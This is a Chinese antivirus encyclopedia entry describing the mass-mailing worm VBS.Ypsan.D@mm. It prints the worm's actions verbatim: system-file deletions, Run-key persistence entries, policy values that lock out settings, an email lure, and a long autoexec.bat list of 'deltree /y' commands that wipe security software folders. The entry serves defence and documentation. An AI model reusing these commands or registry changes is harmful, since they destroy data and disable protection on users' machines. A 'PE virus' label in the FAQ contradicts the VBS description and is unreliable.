病毒名称:
VBS.Ypsan.D@mm
类别： 邮件病毒
病毒资料：
VBS.Ypsan.D@mm是一个邮件病毒，该病毒长度 89,485 字节，感染windows 2000, Windows 95, Windows 98, Windows Me, Windows NT, Windows Server 2003, Windows XP系统。它是一个复合型邮件病毒，搜索计算机邮件地址簿中的地址，发送自身，并试图关闭计算机。
当收到、打开此病毒时，有以下危害：
A 创建目录C:\WINDOWS\System32\Uninstall
B 复制自身到:
系统目录\Uninstall\Uninstall.log.vbs
系统目录\Uninstall\Install.log.vbs
C 删除以下文件
C:\Boot.ini
Windows目录\System.ini
Windows目录\Win.ini
系统目录\wuaUClt1.exe
系统目录\wuauclt.exe
系统目录\wupdmgr.exe
系统目录\rundll32.exe
Windows目录\Regedit.exe
D 添加注册表项
"BootCfg" = "wscript.exe C:\WINDOWS\System32\Uninstall\Install.log.vbs ％ "
"Back Updates" = "wscript.exe C:\WINDOWS\System32\Uninstall\Uninstall.log.vbs ％ "
到注册表键值
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
使得病毒每次开机后自动执行
E 设置注册表值
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\"NoVirtMemPage" = "1"
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\"NoPwdPage" = "1"
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\"NoFileSysPage" = "1"
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\"NoAdminPage" = "1"
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp\"Disabled" = "1"
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\"NoDeletePrinter" = "1"
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Network\"NoFileSharingControl" = "1"
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\"NoDrives" = "67108863"
F 从地址簿中取出全部邮件地址发送以下病毒邮件
标题: Back Up System
内容: The information that u asked for, Downloads and install the an Attached file, so you can save backs to your computer. To help you just in case you deleted or uninstalled some that you didn't want uninstall.
附件: Install.vbs
G 使用删除反病毒软件的命令替换批处理文件c:\autoexec.bat
@deltree/y c:\antiba~1\*.*
@deltree/y c:\antiba~2\*.*
@deltree/y c:\antiba~1.1\*.*
@deltree/y c:\antiba~1.2\*.*
@deltree/y c:\antiba~1.3\*.*
@deltree/y c:\antiba~1.4\*.*
@deltree/y c:\antiba~1.5\*.*
@deltree/y c:\antiba~1.6\*.*
@deltree/y c:\antiba~1.7\*.*
@deltree/y c:\antiba~1.8\*.*
@deltree/y c:\antivi~1\*.*
@deltree/y c:\antivi~2\*.*
@deltree/y c:\antiviru\*.*
@deltree/y c:\avg\*.*
@deltree/y c:\avp\*.*
@deltree/y c:\avp30\*.*
@deltree/y c:\avx\*.*
@deltree/y c:\avpers~1\*.*
@deltree/y c:\bitdef~1\*.*
@deltree/y c:\bitdef~2\*.*
@deltree/y c:\comman~1\*.*
@deltree/y c:\cleancih\*.*
@deltree/y c:\esafen\*.*
@deltree/y c:\findvi~1\*.*
@deltree/y c:\f-macro\*.*
@deltree/y c:\f-prot\*.*
@deltree/y c:\f-prot95\*.*
@deltree/y c:\f-secu~1\*.*
@deltree/y c:\fwin\*.*
@deltree/y c:\fwin32\*.*
@deltree/y c:\inocul~1\*.*
@deltree/y c:\inocul~2\*.*
@deltree/y c:\kASPer~1\*.*
@deltree/y c:\kasper~2\*.*
@deltree/y c:\McAfee\*.*
@deltree/y c:\mcafee~1\*.*
@deltree/y c:\msav\*.*
@deltree/y c:\norman\*.*
@deltree/y c:\norton~1\*.*
@deltree/y c:\norton~2\*.*
@deltree/y c:\pav\*.*
@deltree/y c:\pccill~1\*.*
@deltree/y c:\pc-cil~1\*.*
@deltree/y c:\rav\*.*
@deltree/y c:\softwin\*.*
@deltree/y c:\tbav\*.*
@deltree/y c:\tbavw95\*.*
@deltree/y c:\toolkit\*.*
@deltree/y c:\trendm~1\*.*
@deltree/y c:\trex\*.*
@deltree/y c:\virus\*.*
@deltree/y c:\vpc\*.*
@deltree/y c:\vs95\*.*
@deltree/y c:\zonela~1\*.*
@deltree/y c:\zonela~2\*.*
@deltree/y c:\progra~1\antiba~1\*.*
@deltree/y c:\progra~1\antiba~2\*.*
@deltree/y c:\progra~1\antiba~1.1\*.*
@deltree/y c:\progra~1\antiba~1.2\*.*
@deltree/y c:\progra~1\antiba~1.3\*.*
@deltree/y c:\progra~1\antiba~1.4\*.*
@deltree/y c:\progra~1\antiba~1.5\*.*
@deltree/y c:\progra~1\antiba~1.6\*.*
@deltree/y c:\progra~1\antiba~1.7\*.*
@deltree/y c:\progra~1\antiba~1.8\*.*
@deltree/y c:\progra~1\antivi~1\*.*
@deltree/y c:\progra~1\antivi~2\*.*
@deltree/y c:\progra~1\avg\*.*
@deltree/y c:\progra~1\avp\*.*
@deltree/y c:\progra~1\avx\*.*
@deltree/y c:\progra~1\avx2000\*.*
@deltree/y c:\progra~1\avpers~1\*.*
@deltree/y c:\progra~1\bitdef~1\*.*
@deltree/y c:\progra~1\bitdef~2\*.*
@deltree/y c:\progra~1\comman~1\*.*
@deltree/y c:\progra~1\common~1\avpsha~1*.*
@deltree/y c:\progra~1\common~1\symant~1\*.*
@deltree/y c:\progra~1\datafe~1\*.*
@deltree/y c:\progra~1\deerfi~1.com\*.*
@deltree/y c:\progra~1\f-prot\*.*
@deltree/y c:\progra~1\f-prot95\*.*
@deltree/y c:\progra~1\findvi~1\*.*
@deltree/y c:\progra~1\f-secu~1\*.*
@deltree/y c:\progra~1\f-secure\*.*
@deltree/y c:\progra~1\fsi\*.*
@deltree/y c:\progra~1\fwin\*.*
@deltree/y c:\progra~1\fwin32\*.*
@deltree/y c:\progra~1\grisoft\*.*
@deltree/y c:\progra~1\inocul~2\*.*
@deltree/y c:\progra~1\intern~2\*.*
@deltree/y c:\progra~1\kasper~1\*.*
@deltree/y c:\progra~1\kasper~2\*.*
@deltree/y c:\progra~1\mcafee\*.*
@deltree/y c:\progra~1\mcafee~1\*.*
@deltree/y c:\progra~1\mindso~1\*.*
@deltree/y c:\progra~1\norman\*.*
@deltree/y c:\progra~1\norton~1\*.*
@deltree/y c:\progra~1\norton~2\*.*
@deltree/y c:\progra~1\pandas~1\*.*
@deltree/y c:\progra~1\protec~1\*.*
@deltree/y c:\progra~1\protec~2\*.*
@deltree/y c:\progra~1\quickh~1\*.*
@deltree/y c:\progra~1\rav\*.*
@deltree/y c:\progra~1\signal9\*.*
@deltree/y c:\progra~1\softwin\*.*
@deltree/y c:\progra~1\spysto~1\*.*
@deltree/y c:\progra~1\symant~1\*.*
@deltree/y c:\progra~1\tbav\*.*
@deltree/y c:\progra~1\tinype~1\*.*
@deltree/y c:\progra~1\trendm~1\*.*
@deltree/y c:\progra~1\trendp~1\*.*
@deltree/y c:\progra~1\trojan~1\*.*
@deltree/y c:\progra~1\trojan~2\*.*
@deltree/y c:\progra~1\virusm~1.0\*.*
@deltree/y c:\progra~1\zonela~1\*.*
@deltree/y c:\progra~1\zonela~2\*.*
H 重启计算机
病毒的清除法：
使用光华反病毒软件，彻底删除。
病毒演示：
病毒FAQ：
Windows下的PE病毒。
发现日期：
2005-4-11
